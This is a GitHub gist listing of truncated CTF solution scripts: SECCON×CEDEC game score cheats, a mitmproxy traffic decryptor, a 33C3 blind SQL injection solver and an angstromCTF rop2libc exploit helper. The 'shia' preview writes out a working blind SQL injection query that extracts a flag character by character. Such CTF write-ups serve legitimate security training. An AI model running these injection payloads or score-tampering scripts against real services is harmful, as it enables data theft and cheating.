Skip to content

Instantly share code, notes, and snippets.

View st98's full-sized avatar

st98 st98

View GitHub Profile
@st98
st98 / cheat_score_2.py
Last active September 4, 2017 02:44
SECCON 2017 × CEDEC CHALLENGE - スコアのチート 2
import hashlib
import hmac
import json
import sys
import urlparse
import requests
from Crypto.Cipher import AES
def xor(a, b):
@st98
st98 / cheat_score.py
Last active September 4, 2017 02:44
SECCON 2017 × CEDEC CHALLENGE - スコアのチート 1
import hashlib
import hmac
import json
import sys
import urlparse
import requests
from Crypto.Cipher import AES
def xor(a, b):
@st98
st98 / gacha.py
Last active September 4, 2017 02:44
SECCON 2017 × CEDEC CHALLENGE - ガチャ
import hashlib
import hmac
import json
import sys
import urlparse
import requests
from Crypto.Cipher import AES
def xor(a, b):
@st98
st98 / mitmproxy_decrypt.py
Last active September 4, 2017 02:44
SECCON 2017 × CEDEC CHALLENGE - 通信の復号を行うスクリプト (デモ: https://www.youtube.com/watch?v=PGL6lmuB7DI)
# mitmdump -s mitmproxy_decrypt.py
import hashlib
import json
import sys
from mitmproxy import ctx
from Crypto.Cipher import AES
def xor(a, b):
res = ''
@st98
st98 / compare.py
Created August 6, 2017 00:25
Compare teams' solved problems (for Mellivora)
import re
import requests
import urlparse
from bs4 import BeautifulSoup
def is_number(s):
if not s.isdigit():
raise argparse.ArgumentTypeError('{0} is not a number'.format(s))
return s
@st98
st98 / compare.py
Last active July 30, 2017 11:32
Compare teams' solved problems (for CTFd)
import requests
import urlparse
from bs4 import BeautifulSoup
def is_number(s):
if not s.isdigit():
raise argparse.ArgumentTypeError('{0} is not a number'.format(s))
return s
def get_content(url, team):
@st98
st98 / befunge.py
Created June 14, 2017 09:04
Befungeインタプリタ
import random
import sys
class Stack:
def __init__(self):
self.stack = []
def append(self, v):
self.stack.append(v)
@st98
st98 / flag
Last active June 11, 2017 20:54
SHA2017 CTF Teaser round - [Crypto 200] Crypto Engine
@st98
st98 / solve.py
Last active January 2, 2017 00:39
33C3 CTF - [web 175] shia
import requests
import urllib.parse
def check(s):
return b"Don't let your dreams be dreams!" in s
url = 'http://78.46.224.75/quote/'
query = '(select substring(y from {} for 1) <= binary 0x{:x} from (select * from (select 1 u)a join (select 2 x)b join (select 3 y)c join (select 4 z)d union select * from flag)f where y like 0x253333433325 limit 1)'
i = 1
@st98
st98 / pwn.py
Last active March 13, 2021 06:07
angstromCTF 2016 - [binary 160] rop2libc
import struct
from subprocess import *
def p64(x):
return struct.pack('<Q', x)
def u64(x):
return struct.unpack('<Q', x)[0]
def read_until(f, s):